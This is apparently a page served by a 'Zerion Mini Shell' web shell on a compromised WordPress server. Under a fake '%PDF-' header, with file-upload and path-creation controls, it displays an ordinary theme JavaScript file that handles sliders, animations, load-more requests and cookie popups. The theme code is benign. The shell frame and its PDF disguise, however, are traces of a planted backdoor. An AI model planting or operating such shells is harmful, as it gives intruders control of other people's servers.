%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/businessmultisite/wp-content/themes/stripes_weekly/src/js/
Upload File :
Create Path :
Current File : /var/www/businessmultisite/wp-content/themes/stripes_weekly/src/js/app.js

import $ from "jquery"

import Swiper, { Autoplay } from 'swiper';
Swiper.use([Autoplay]);
import 'swiper/css'

import { gsap } from "gsap";
import { ScrollTrigger } from "gsap/ScrollTrigger";
import { ScrollToPlugin } from "gsap/ScrollToPlugin";

gsap.registerPlugin(ScrollTrigger);
gsap.registerPlugin(ScrollToPlugin);

import "jquery.scrollbar/jquery.scrollbar.js";
import "jquery.scrollbar/jquery.scrollbar.css";


import axios from "axios";

import shareButtons from "share-buttons";


// import "./utils/bootstrapGrid"

import "../scss/main.scss";



$(function($) {
    console.log('init');

    $('.scrollbar_js').scrollbar();
  
    const main = {
        ticker() {
            let totalWidth = 0;
            $('.header--ticker--marquee li').each(function() {
                totalWidth += $(this).outerWidth() + 15;
            });
        
            $('.header--ticker--marquee ul').append($('.header--ticker--marquee ul').html());
            
            gsap.to('.header--ticker--marquee ul', {duration: totalWidth / 75, x: totalWidth * -1, ease: 'none', repeat: -1});
        },
        articleSerieSwiper(swipers = [...document.querySelectorAll('.article-card .article-item--serie--list')]) {
            
            swipers.forEach((slider, index) => {
                const id = 'swiper'+Date.now() + index;
                slider.setAttribute('id', id);

                new Swiper('#'+id, {
                    
                    slidesPerView: "auto",
                    breakpoints: {
                        320: {
                            spaceBetween: 20,
                        },
                        768: {
                            spaceBetween: 10,
                        }
                    }
                });
                
            });
            
        },
        articleSerieSwiperSingle(swipers = [...document.querySelectorAll('.post-type-articles .article-item--serie--list')]) {
            
            swipers.forEach((slider, index) => {
                const id = 'swiper'+Date.now() + index;
                slider.setAttribute('id', id);

                new Swiper('#'+id, {
                    breakpoints: {
                        320: {
                            spaceBetween: 20,
                            slidesPerView: "auto",
                        },
                        1000: {
                            spaceBetween: 30,
                            slidesPerView: 3,
                        }
                    }
                });
                
            });
            
        },
        categoryPage() {
            document.querySelectorAll('.category-header--title.category-header--has-neighbors').forEach(button => {
                button.addEventListener('click', e => {
                    button.parentNode.querySelector('.category-header--selector').classList.toggle('category-header--selector--visible');
                });
            });

            document.querySelectorAll('.category-header--selector--close').forEach(button => {
                button.addEventListener('click', e => {
                    button.closest('.category-header--selector').classList.remove('category-header--selector--visible');
                });
            });

            document.addEventListener('click', e => {
                if(document.querySelector('.category-header--title') && document.querySelector('.category-header--selector') && !e.target.closest('.category-header--title') && !e.target.closest('.category-header--selector')) {
                    document.querySelector('.category-header--selector').classList.remove('category-header--selector--visible');
                }
            });


        },
        burger() {
            document.querySelectorAll('.header--main--top--sidebar-toggle, .sticky-header--sidebar-toggle, .burger-menu--header--close, .burger-menu--overlay').forEach(button => {
                button.addEventListener('click', e => {
                    document.querySelector('.burger-menu').classList.toggle('burger-menu--show');
                    document.querySelector('body').classList.toggle('overflow-hidden');
                    $('.burger-menu--overlay').fadeToggle();
                });
            });

           

            
        },
        loadMore() {
            const loadMoreButtons = document.querySelectorAll('.load-more-posts');
            loadMoreButtons.forEach(loadMoreButton => {
                loadMoreButton.addEventListener('click', e => {
                    loadMoreButton.disabled = true;
                    const icon = loadMoreButton.querySelector('i');
                    icon.setAttribute('data-class', icon.getAttribute('class'));
                    icon.setAttribute('class', 'fas fa-sync fa-spin'); 
                    
                    const formData = new FormData();
                    formData.append('action', 'load_more_posts');

                    for (const [key, value] of Object.entries(loadMoreButton.dataset)) {
                        formData.append(key, value);
                    }

                    axios.post(theme.ajaxurl, formData, {
                    })
                    .then(response => {
                        loadMoreButton.disabled = false;
                        icon.setAttribute('class', icon.getAttribute('data-class')); 
                        icon.removeAttribute('data-class');

                        if(response.data.html) {
                            const tmp = document.createElement('div');
                            tmp.innerHTML = response.data.html;
                            [...tmp.childNodes].forEach(article => {
                                const insertedArticle = loadMoreButton.parentNode.parentNode.insertBefore(article, loadMoreButton.parentNode);
                                insertedArticle.classList.add('animate__animated','animate__fadeInUp');
                                this.articleSerieSwiper([...insertedArticle.querySelectorAll('.article-item--serie--list')]);
                            });
                            
                        }

                        if(response.data.hide_load_more) {
                            loadMoreButton.parentNode.style.display = 'none';
                        }

                        if(response.data.offset) {
                            loadMoreButton.setAttribute('data-offset', response.data.offset);
                        }

                        
                        
                        console.log(response);
                    })
                    .catch(error => {
                        alert(error);
                    });
                });
            });
        },
        stickyMenu() {
            $(document).scroll(function () {
                var scrollTop = $(document).scrollTop();
            
                if (300 < scrollTop) {
                    $('.sticky-header').addClass('sticky-header--show');
                } else {
                    $('.sticky-header').removeClass('sticky-header--show');
                }
        
            });
        },
        init() {
            this.burger();
            this.categoryPage();
            this.articleSerieSwiper();
            this.articleSerieSwiperSingle();
            this.ticker();
            this.loadMore();
            this.stickyMenu();
        }
    }
    main.init();
    
    let savedArticles = function () {

        let buttons = $('.article-save-btn');

        function getCookie(name) {
            let matches = document.cookie.match(new RegExp(
                "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
            ));
            return matches ? decodeURIComponent(matches[1]) : undefined;
        }

        function setCookie(name, value) {
            document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/saved-articles;expires=Thu, 01 Jan 1970 00:00:00 GMT"
            document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/";
        }

        function getSelectedArticles() {

            let cookie_data = getCookie('selected_articles')
            if (cookie_data !== undefined) {
                cookie_data = cookie_data.split(',')
                cookie_data = cookie_data.map(el => parseInt(el.trim()))
                cookie_data = cookie_data.filter(el => !isNaN(el))
                return cookie_data
            }
            return []
        }

        function changeArticleState(id) {
            id = parseInt(id)
            let articles = getSelectedArticles()
            if (articles.includes(id)) {
                articles = articles.filter((el) => el !== id)
            } else {
                articles.push(id)
            }
            setCookie('selected_articles', articles)
            updateCountArticles();
        }

        function updateArticles() {
            let articles = getSelectedArticles()
            console.log(articles)
            $('.article-save-btn').removeClass('active')
            articles.forEach((el) => {
                $('.article-save-btn[data-post-id="' + el + '"]').addClass('active')
            })
            updateCountArticles();
        }

        function updateCountArticles() {
            let postsId = getSelectedArticles();
            console.log(postsId);
            $.ajax({
                url: theme.ajaxurl,
                data: {
                    action: 'get_saved_size',
                    postsId: postsId
                },
                type: "post",
                success: function (data) {
                    let postCount = parseInt(data);
                    $('.saved-posts_count-js span').html(postCount);
                    if (!postCount) {
                        $('#header-saved-posts').hide();
                    } else {
                        $('#header-saved-posts').show();
                    }
                },
            });


        }

        $(document).on('click', '.article-save-btn', function () {
            let id = $(this).attr('data-post-id')
            if (id !== undefined && !isNaN(id)) {
                $(this).toggleClass('active')
                changeArticleState(id)
            }
        });
        updateArticles()


        if ($("#saved-articles").length) {
            
            document.cookie = encodeURIComponent("selected_articles") + "=" + encodeURIComponent("1") + ";path=/saved-articles;expires=Thu, 01 Jan 1970 00:00:00 GMT"
            let postsId = getSelectedArticles();
            console.log(postsId)
            // $.ajax({
            //     url: theme.ajaxurl,
            //     data: {
            //         action: "saved_articles",
            //         postsId: postsId
            //     },
            //     type: "post",
            //     success: function (data) {
            //         $("#saved-articles").html(data);
            //         $('.article-save-btn').click(function () {
            //             let id = $(this).attr('data-post_id')
            //             if (id !== undefined && !isNaN(id)) {
            //                 $(this).toggleClass('active')
            //                 changeArticleState(id)
            //             }
            //         })
            //     },
            // });

            const formData = new FormData();
            formData.append('action', 'saved_articles');
            formData.append('postsId', postsId);

            

            axios.post(theme.ajaxurl, formData, {
            })
            .then(response => {
                
                $("#saved-articles").html(response.data.html);
                
                
                
                console.log(response);
            })
            .catch(error => {
                alert(error);
            });
        }
    }

    savedArticles();
    
    const setCookie = function(name,value,days) {
        var expires = "";
        if (days) {
            var date = new Date();
            date.setTime(date.getTime() + (days*24*60*60*1000));
            expires = "; expires=" + date.toUTCString();
        }
        document.cookie = name + "=" + (value || "")  + expires + "; path=/";
    }
    const getCookie = function(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for(var i=0;i < ca.length;i++) {
            var c = ca[i];
            while (c.charAt(0)==' ') c = c.substring(1,c.length);
            if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
        }
        return null;
    }
    const eraseCookie = function(name) {   
        document.cookie = name +'=; Path=/; Expires=Thu, 01 Jan 1970 00:00:01 GMT;';
    }


    const cookiePopup = document.querySelector('.cookies-popup');

    
    if(cookiePopup) {
        setTimeout(() => {
            if(!getCookie('cookiePopup')) {
                cookiePopup.classList.remove('cookies-popup--hidden');
            }
        }, 1000);
        
    }

    const closeCookiePopup = document.querySelectorAll('.cookies--header--close, .cookies-popup--footer--accept, .cookies-popup--footer--close');

    closeCookiePopup.forEach(button => {
        button.addEventListener('click', e => {
            cookiePopup.classList.add('cookies-popup--hidden');
            if(button.classList.contains('cookies-popup--footer--accept')) {
                setCookie('cookiePopup',1,180);
            }
        });
    });


    

});

Zerion Mini Shell 1.0